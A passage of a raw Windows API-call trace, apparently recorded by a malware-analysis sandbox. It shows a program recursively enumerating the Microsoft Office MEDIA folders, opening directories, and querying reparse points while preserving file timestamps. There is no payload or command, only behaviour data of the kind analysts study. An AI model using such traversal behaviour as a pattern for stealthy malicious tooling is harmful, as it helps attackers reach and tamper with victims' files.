[0073.458] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb340b00, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb340b00, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0x2fd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301050.WMF", cAlternateFileName="")) returned 1 [0073.458] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf780800, ftCreationTime.dwHighDateTime=0x1bf452e, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf780800, ftLastWriteTime.dwHighDateTime=0x1bf452e, nFileSizeHigh=0x0, nFileSizeLow=0x224e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301076.WMF", cAlternateFileName="")) returned 1 [0073.458] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf91e7c00, ftCreationTime.dwHighDateTime=0x1bf452e, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf91e7c00, ftLastWriteTime.dwHighDateTime=0x1bf452e, nFileSizeHigh=0x0, nFileSizeLow=0x953a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301252.WMF", cAlternateFileName="")) returned 1 [0073.458] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570900, ftCreationTime.dwHighDateTime=0x1bf4530, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5570900, ftLastWriteTime.dwHighDateTime=0x1bf4530, nFileSizeHigh=0x0, nFileSizeLow=0x1f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301480.WMF", cAlternateFileName="")) returned 1 [0073.458] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xced53d00, ftCreationTime.dwHighDateTime=0x1bf4a9f, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xced53d00, ftLastWriteTime.dwHighDateTime=0x1bf4a9f, nFileSizeHigh=0x0, nFileSizeLow=0x5a2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0302827.JPG", cAlternateFileName="")) returned 1 [0073.458] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a69b00, ftCreationTime.dwHighDateTime=0x1bf4b65, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x33a69b00, ftLastWriteTime.dwHighDateTime=0x1bf4b65, nFileSizeHigh=0x0, nFileSizeLow=0x25c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0302953.JPG", cAlternateFileName="")) returned 1 [0073.458] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa04dd00, ftCreationTime.dwHighDateTime=0x1bf4531, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa04dd00, ftLastWriteTime.dwHighDateTime=0x1bf4531, nFileSizeHigh=0x0, nFileSizeLow=0x4d84, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0304933.WMF", cAlternateFileName="")) returned 1 [0073.458] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ab12600, ftCreationTime.dwHighDateTime=0x1bf4533, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3ab12600, ftLastWriteTime.dwHighDateTime=0x1bf4533, nFileSizeHigh=0x0, nFileSizeLow=0x5af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0305257.WMF", cAlternateFileName="")) returned 1 [0073.458] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x494c0d00, ftCreationTime.dwHighDateTime=0x1bf4534, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x494c0d00, ftLastWriteTime.dwHighDateTime=0x1bf4534, nFileSizeHigh=0x0, nFileSizeLow=0x3372, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0305493.WMF", cAlternateFileName="")) returned 1 [0073.458] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8598100, ftCreationTime.dwHighDateTime=0x1bf71c6, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb8598100, ftLastWriteTime.dwHighDateTime=0x1bf71c6, nFileSizeHigh=0x0, nFileSizeLow=0x60e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0315447.JPG", cAlternateFileName="")) returned 1 [0073.458] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x653ad300, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x653ad300, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x5168, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0332268.WMF", cAlternateFileName="")) returned 1 [0073.458] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x666c0000, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x666c0000, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x47c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0332364.WMF", cAlternateFileName="")) returned 1 [0073.458] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5ca1000, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc5ca1000, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x1f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0335112.WMF", cAlternateFileName="")) returned 1 [0073.458] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c046200, ftCreationTime.dwHighDateTime=0x1bfaf5c, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c046200, ftLastWriteTime.dwHighDateTime=0x1bfaf5c, nFileSizeHigh=0x0, nFileSizeLow=0xce9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0336075.WMF", cAlternateFileName="")) returned 1 [0073.458] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c046200, ftCreationTime.dwHighDateTime=0x1bfaf5c, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c046200, ftLastWriteTime.dwHighDateTime=0x1bfaf5c, nFileSizeHigh=0x0, nFileSizeLow=0xce9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0336075.WMF", cAlternateFileName="")) returned 0 [0073.458] GetLastError () returned 0x12 [0073.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa751b0) returned 1 [0073.458] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0073.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75128) returned 1 [0073.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa750a0) returned 1 [0073.458] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x940000, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0073.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa750a0 [0073.458] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" (normalized: "c:\\program files\\microsoft office\\media\\office14"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0073.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" (normalized: "c:\\program files\\microsoft office\\media\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0073.506] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0073.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa88478 [0073.506] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa88478, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa88478, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0073.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa88478) returned 1 [0073.507] NtClose (Handle=0x170) returned 0x0 [0073.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa750a0) returned 1 [0073.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa750a0 [0073.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75128 [0073.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa751b0 [0073.507] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0073.507] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.507] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0073.507] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP", cAlternateFileName="")) returned 1 [0073.507] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BULLETS", cAlternateFileName="")) returned 1 [0073.507] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINES", cAlternateFileName="")) returned 1 [0073.507] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.DLL", cAlternateFileName="")) returned 1 [0073.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.508] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156c5e00, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156c5e00, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x78450, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MMW", cAlternateFileName="")) returned 1 [0073.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63d30 [0073.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94980 [0073.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.508] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156c5e00, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156c5e00, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x78450, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MMW", cAlternateFileName="")) returned 0 [0073.508] GetLastError () returned 0x12 [0073.508] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0073.508] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0073.508] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.508] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0073.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.508] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0073.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0073.509] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0073.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa88478 [0073.509] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa88478, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa88478, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0073.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa88478) returned 1 [0073.509] NtClose (Handle=0x170) returned 0x0 [0073.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.509] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0073.509] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.509] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c438, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MML", cAlternateFileName="")) returned 1 [0073.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0073.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0073.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0073.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0073.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0073.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0073.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63d50 [0073.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa82170 [0073.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0073.510] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c438, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MML", cAlternateFileName="")) returned 0 [0073.510] GetLastError () returned 0x12 [0073.510] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0073.510] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0073.510] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.510] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c438, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MML", cAlternateFileName="")) returned 1 [0073.510] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c438, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MML", cAlternateFileName="")) returned 0 [0073.510] GetLastError () returned 0x12 [0073.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.510] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0073.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0073.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.511] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, 